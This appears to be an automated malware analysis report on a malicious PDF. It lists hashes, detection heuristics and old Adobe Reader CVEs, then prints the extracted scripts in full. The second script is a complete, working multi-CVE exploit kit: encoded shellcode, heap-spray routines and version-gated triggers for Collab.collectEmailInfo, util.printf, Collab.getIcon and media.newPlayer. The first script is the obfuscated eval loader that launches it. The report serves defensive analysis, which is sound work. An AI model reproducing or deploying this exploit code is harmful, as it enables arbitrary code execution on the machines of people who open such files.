Malicious PDF — malware analysis report

Static analysis result for SHA-256 278690f34256637e…

MALICIOUS

PDF

26.3 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 8304d017ec3e5a223a8728d9e6c63478 SHA-1: e21fc71fd33fb39596bb6c1d5d2c07d82744aed1 SHA-256: 278690f34256637e3acf47d66fec8be88cc25ecc05269bee5c18a5c35a84e4d3
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of an eval() call within the JavaScript stream (PDF_EVAL) suggests that the script is likely obfuscated and designed to execute arbitrary code. The extracted artifact 'javascript_obj0001_000.js' further supports this, with static triage flagging script obfuscation. The primary function of the script appears to be the execution of malicious code, likely for downloading and running a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      KasoTeg=eval(PigEzuzyzemomiroh.replace('JupezaDpdgeqosezu','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x647C 937 bytes
SHA-256: 9553cc69029311f0ff5433667f9de039bceeb8b8860588a4809ebe10e91b40d1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var RerOny='';
var JupezaDpdgeqosezue=this.producer.substr(0,4);
for(var PigEzuzyzemomiroh in this) {
	if (PigEzuzyzemomiroh=='JupezaDpdgeqosezue')
		KasoTeg=eval(PigEzuzyzemomiroh.replace('JupezaDpdgeqosezu','')+'val');
}
ZudoBisbutzemiqaz = KasoTeg('new Date(2007,2,51,2,12,5)');
MelevaKozuqiqco = 'thi'+ZudoBisbutzemiqaz.getHours()+'ducer';
ZupieNbylefubez=KasoTeg(MelevaKozuqiqco.replace(2,'s.pro'));
ZupieNbylefubez = ZupieNbylefubez.replace(/t/g,'2');
LwAj = ZupieNbylefubez.substr(4).split('s');
var LaaktkYcy = '';
g = ZudoBisbutzemiqaz.getHours()*2;
var RajYsicukicefaqu = 'fro'+ZudoBisbutzemiqaz.getHours()+'arCode';
RajYsicukicefaqu=RajYsicukicefaqu.replace(2,'mCh');
SacAy=String[RajYsicukicefaqu];
for (PigEzuzyzemomiroh = 0; PigEzuzyzemomiroh < LwAj.length; PigEzuzyzemomiroh++) {
	NafedyhIptupaukesw = KasoTeg(LwAj[PigEzuzyzemomiroh]);
	LaaktkYcy += SacAy(NafedyhIptupaukesw);
}
KasoTeg(LaaktkYcy);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3728 bytes
SHA-256: b0c15a622d858dbcf926dc0431519b3f24156ac389c4f20b327b817623caa90a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u54B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u5534%uE2AA%uC3FA%uE5E8%uFFFF%uBCFF%u5459%u5555%uD40B%u09B9%u5554%uDC55%uD8B2%u451A%u3AD8%u6401%u028E%u0604%u0606%u0606%u0606%u0600%u3D06%u5451%u5555%u0300%u3D06%u3B3A%u5555%u203D%u3927%u0138%uDB3D%u5B1B%uBDB9%u551D%u5555%uBD05%u5529%u5555%u85AA%u91D6%u3D5D%uBA1A%u501A%uBD05%u5539%u5555%u85AA%u95D0%u4220%u013F%uA60C%u3DFF%uAB27%u43E6%u48BD%u5555%u0555%u04BD%u5555%uAA55%u0685%uAB3F%uDC3D%u543A%uBDE8%u555D%u5555%uBD05%u5569%u5555%u85AA%u6435%u3195%u05DE%uDE65%u5907%u07DE%uDE41%u7D27%u4DEC%u5555%u6455%u64AA%uF995%u3469%u5729%u7579%u9A94%u5458%uB792%uD4A5%u0EAA%u1FE9%uDE3F%u4517%u47DE%u8C20%u11DC%u4971%u9634%uDE35%u7139%uDE71%u6910%u01DE%u2D50%uBF54%u1FDE%uDE4D%u750F%uBE54%u61B6%uDE1C%uDE61%uBB54%uAA64%u9564%uF9A9%u95D1%u5221%u9A94%u5458%uBE92%u6EA1%u7129%u207D%uDEB4%u710F%uBE54%uDE33%u1E59%u0FDE%u5449%uDEBE%uDE51%uBD54%u11DC%u4971%u9734%u555D%uBABD%uAAAB%u3DAA%u2121%u6F25%u7A7A%u3234%u3834%u3D34%u3930%u7B38%u2F36%u367B%u7A36%u203A%u7B21%u3D25%u6A25%u6834%u0404%u133E%u3217%u1765%u1411%u1122%u0417%u1B18%u3E10%u1F36%u1417%u6868%u2573%u6268%u0055';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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